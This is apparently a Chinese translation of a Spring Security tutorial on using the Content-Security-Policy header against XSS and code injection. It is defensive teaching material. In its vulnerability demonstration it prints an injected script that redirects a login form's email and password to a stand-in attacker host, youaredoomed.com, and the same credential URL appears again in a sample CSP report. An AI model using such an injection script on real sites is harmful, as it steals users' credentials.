1. 概述
跨站腳本攻擊(XSS)持續位列十大最常見的網絡攻擊中。XSS攻擊發生在Web服務器在未對用户惡意輸入進行驗證或編碼的情況下,直接將其渲染到頁面上。與XSS攻擊一樣,代碼注入和點擊劫持通過竊取用户數據和冒充用户,對Web應用程序造成破壞。
在本教程中,讓我們學習如何使用內容安全策略(Content-Security-Policy) 頭部來緩解基於Spring Security的Web應用程序中的代碼注入風險。
2. 內容安全策略 (CSP)
內容安全策略 (CSP) 是一種 HTTP 響應頭,它顯著減少了諸如 XSS(跨站腳本攻擊)、點擊劫持 等代碼注入攻擊,在現代瀏覽器中發揮作用。
一個 Web 服務器通過 Content-Security-Policy 標頭指定允許瀏覽器渲染的資源列表。 這些資源可以是瀏覽器渲染的任何內容,例如 CSS、JavaScript、圖像等。
此標頭的語法如下:
Content-Security-Policy: <directive>; <directive>; <directive> ; ...此外,我們還可以將此策略作為 HTML 頁面的 <em>meta< 標籤的一部分設置:
<meta http-equiv="Content-Security-Policy" content="<directive>;<directive>;<directive>; ...">此外,這些 指令 都包含一個具有多個值的鍵。 可以有多個指令,每個指令之間用分號 (;) 隔開。
Content-Security-Policy: script-src 'self' https://baeldung.com; style-src 'self';
在這種情況下,我們有兩個指令(script-src 和 style-src),其中指令 script-src 具有兩個值(‘self’ 和 https://baeldung.com)。
3. 漏洞演示
現在,讓我們來看一個 XSS 和代碼注入漏洞可能造成的嚴重程度的例子。
3.1. 登錄表單
通常,在Web應用程序中,在會話超時時,我們會將用户重定向到登錄頁面。標準登錄表單包含用户名/密碼字段和提交按鈕:
<span> Session time out. Please login.</span>
<form id="login" action="/login">
<input type="email" class="form-control" id="email">
<input type="password" class="form-control" id="password">
<button type="submit">Login</button>
</form>3.2. 代碼注入
用户可以通過表單字段注入可疑代碼,在提供用户輸入時進行。例如,假設一個註冊表單中接受用户名的文本框。
用户可以輸入 `<em>script>alert(“this is not expected”)</script></em> 並提交表單。隨後,當表單顯示用户名時,它會執行該腳本(在本例中是彈出一個消息)。該腳本甚至可以加載外部腳本,從而造成更大的危害。
同樣,假設我們有未充分驗證的表單字段。用户再次利用這一點,將惡意 JavaScript 代碼注入到 DOM(文檔對象模型) 中:
<span> Session time out. Please login.</span>
<form id="login" action="/login">
<input type="email" class="form-control" id="email">
<input type="password" class="form-control" id="password">
<button type="submit">Login</button>
</form>
<script>
let form= document.forms.login;
form.action="https://youaredoomed.com:9090/collect?u="+document.getElementById('email').value
+"&p="+document.getElementById('password').value;
</script>這段注入的 JavaScript 代碼會在點擊 登錄按鈕時,將用户重定向到惡意網站。
當一個不知情的用户提交表單時,他會被重定向到 https://youaredoomed.com,其憑據暴露。
3.3. 演示
讓我們看看這種漏洞的實際效果。
通常,在會話超時後,服務器會將用户重定向到登錄頁面以輸入其憑據。但是,注入的惡意代碼會將用户及其憑據重定向到未預期的網站:
4. Spring Security
在本節中,我們將討論如何緩解這些代碼注入漏洞。
4.1. HTML <em >meta</em >> 標籤
在之前的示例中添加 <em >Content-Security-Policy</em >> 頭部將會阻止表單提交到惡意服務器。因此,我們使用 <em >meta</em >> 標籤添加此頭部並檢查其行為:
<meta http-equiv="Content-Security-Policy" content="form-action 'self';">添加上述 meta 標籤可以防止瀏覽器將表單提交到其他源:
儘管 meta 標籤可以緩解 XSS 和代碼注入攻擊,但其功能有限。例如,我們不能使用 meta 標籤來報告 Content-Security-Policy 違規。
因此,我們應該利用 Spring Security 的強大功能,通過設置 Content-Security-Policy 標頭來減輕這些風險。
4.2. Maven 依賴
首先,我們將 Spring Security 和 Spring Web 依賴添加到我們的 <em>pom.xml</em> 中:
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-security</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>4.3. 配置
接下來,通過創建 SecurityFilterChain bean 來定義 Spring Security 配置:
@Configuration
public class ContentSecurityPolicySecurityConfiguration {
@Bean
public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
http.headers(Customizer.withDefaults())
.xssProtection(Customizer.withDefaults())
.contentSecurityPolicy(contentSecurityPolicyConfig -> contentSecurityPolicyConfig.policyDirectives("form-action 'self'"));
return http.build();
}
}在此,我們聲明瞭 contentSecurityPolicy 以限制表單操作僅限於同一源。
4.4. Content-Security-Policy 響應頭
在配置必要的安全設置後,讓我們驗證 Spring Security 提供提供的安全保障。為此,請打開瀏覽器的開發者工具(通過按 F12 或類似鍵),點擊“網絡”選項卡,並打開 URL http://localhost:8080:
現在,我們將填寫表單並提交:
在 Content-Security-Policy 響應頭生效的情況下,瀏覽器會阻止提交請求並降低了泄露憑據的風險。
同樣,我們可以配置 Spring Security 以支持 不同的指令。例如,這段代碼指定瀏覽器僅從同一源加載腳本:
.contentSecurityPolicy("script-src 'self'");同樣,我們也可以指示瀏覽器僅從同一來源下載 CSS,例如從 somecdn.css.com 下載:
.contentSecurityPolicy("style-src 'self' somecdn.css.com");此外,我們還可以組合任何數量的指令到 Content-Security-Policy 標頭中。例如,為了限制 CSS、JS 和表單操作,我們可以指定:
.contentSecurityPolicy("style-src 'self' somecdn.css.com; script-src 'self'; form-action 'self'")4.5. 報告
除了指示瀏覽器阻止惡意內容外,服務器還可以要求瀏覽器發送有關被阻止內容的報告。因此,我們將 report-uri 指令與其他指令結合使用,以便瀏覽器在內容被阻止時隨時向服務器發送 POST 請求。
瀏覽器會將以下內容發佈到 report-uri 中定義的 URL:
{
"csp-report": {
"blocked-uri": "",
"document-uri": "",
"original-policy": "",
"referrer": "",
"violated-directive": ""
}
}因此,我們需要定義一個接收來自瀏覽器的違規報告的 API,並記錄請求以供演示和清晰化。
**請注意,儘管指令 report-uri 已被棄用,取而代之的是 report-to,但大多數瀏覽器在當前版本中不支持 report-to。** 故我們將同時使用 report-uri 和 report-to 指令進行報告。
首先,讓我們更新我們的 Spring Security 配置:
String REPORT_TO = "{\"group\":\"csp-violation-report\",\"max_age\":2592000,\"endpoints\":[{\"url\":\"https://localhost:8080/report\"}]}";
http.csrf(AbstractHttpConfigurer::disable)
.authorizeHttpRequests(authorizationManagerRequestMatcherRegistry -> authorizationManagerRequestMatcherRegistry.requestMatchers("/**").permitAll())
.headers(httpSecurityHeadersConfigurer ->
httpSecurityHeadersConfigurer
.addHeaderWriter(new StaticHeadersWriter("Report-To", REPORT_TO))
.xssProtection(Customizer.withDefaults())
.contentSecurityPolicy(contentSecurityPolicyConfig ->
contentSecurityPolicyConfig.policyDirectives("form-action 'self'; report-uri /report; report-to csp-violation-report")));我們首先定義了一個 報告對象組,其中包含 跨站請求偽造報告,並關聯了一個端點。 接下來,作為 .contentSecurityPolicy 的一部分,我們使用該組名作為 報告對象 指令的值。
現在,當我們用瀏覽器打開頁面時,我們會看到:
接下來,我們填寫表單並點擊 登錄 按鈕。 就像預期的那樣,瀏覽器會阻止請求併發送報告。 在服務器控制枱中,我們有如下類似的日誌:
Report: {"csp-report":{"blocked-uri":"https://youaredoomed.com:9090/[email protected]&p=password","document-uri":"https://localhost:8080/","original-policy":"form-action 'self'; report-uri https://localhost:8080/report","referrer":"","violated-directive":"form-action"}}這是格式化後的 JSON 報告:
{
"csp-report": {
"blocked-uri": "https://youaredoomed.com:9090/[email protected]&p=password",
"document-uri": "https://localhost:8080/",
"original-policy": "form-action 'self'; report-uri https://localhost:8080/report",
"referrer": "",
"violated-directive": "form-action"
}
}5. 結論
在本文中,我們瞭解到如何保護我們的 Web 應用程序免受點擊劫持、代碼注入和 XSS 攻擊的影響。
雖然無法完全防禦這些攻擊,但 <em >Content-Security-Policy</em> 頭部有助於緩解大部分攻擊。值得注意的是,截至目前,大多數現代瀏覽器對其不完全支持。因此,採用穩健的安全原則和標準來設計和構建應用程序至關重要。